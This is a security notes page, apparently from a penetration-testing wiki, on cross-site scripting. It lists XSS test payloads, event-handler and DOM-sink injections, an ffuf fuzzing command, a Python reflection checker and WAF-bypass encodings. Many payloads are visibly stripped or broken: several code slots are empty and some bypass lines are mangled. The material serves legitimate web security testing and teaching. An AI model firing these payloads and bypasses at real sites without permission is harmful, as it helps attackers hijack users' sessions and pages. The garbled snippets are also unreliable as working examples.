> For the complete documentation index, see [llms.txt](https://tamagosecurity.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tamagosecurity.gitbook.io/notes/web-application/cross-site-scripting-xss.md). # Cross Site Scripting (XSS) ### Quick Payloads #### Basic XSS ```html
Hover me
``` #### Event Handlers ```html onclick=alert(1) onmouseover=alert(1) onerror=alert(1) onload=alert(1) onfocus=alert(1) onblur=alert(1) ``` #### JavaScript Events ```javascript javascript:alert(1) data:text/html, vbscript:alert(1) ``` #### DOM Based ```javascript document.write('') eval('alert(1)') setTimeout('alert(1)',0) setInterval('alert(1)',0) ``` ### Testing Methodology {% stepper %} {% step %} ### Parameter Fuzzing ```bash # Using ffuf ffuf -u "http://target.com/page?param=FUZZ" -w xss-payloads.txt # Using Burp Suite 1. Intercept request 2. Send to Intruder 3. Select parameter 4. Load payload list ``` {% endstep %} {% step %} ### Common Test Points ``` URL Parameters: ?search= Form Fields: Headers: User-Agent: JSON: {"name": ""} ``` {% endstep %} {% step %} ### Context Testing ```html # HTML Context
# Attribute Context "> # JavaScript Context "; ``` {% endstep %} {% endstepper %} ### Common Vulnerable Endpoints #### Search Forms ```html search= search= search= ``` #### Comment Sections ```html comment= comment= comment= ``` #### User Profiles ```html name= bio= avatar= ``` ### Tools & Commands #### XSS Hunter ```bash # Basic payload # DOM based ``` #### Custom Python Script ```python import requests def test_xss(url, param, payloads): for payload in payloads: data = {param: payload} r = requests.post(url, data=data) if payload in r.text: print(f"Potential XSS: {payload}") ``` ### Common Bypass Techniques #### WAF Bypass ```html # Case variation # Encoding <script>alert(1)</script> %3Cscript%3Ealert(1)%3C/script%3E # Double encoding %253Cscript%253Ealert(1)%253C/script%253E ``` #### Filter Bypass ```html # Script tag bypass ipt>alert(1)ipt> # Event handler bypass
Hover me
``` ### References * [OWASP XSS](https://owasp.org/www-community/attacks/xss/) * [PortSwigger XSS](https://portswigger.net/web-security/cross-site-scripting) * [XSS Hunter](https://xsshunter.com/)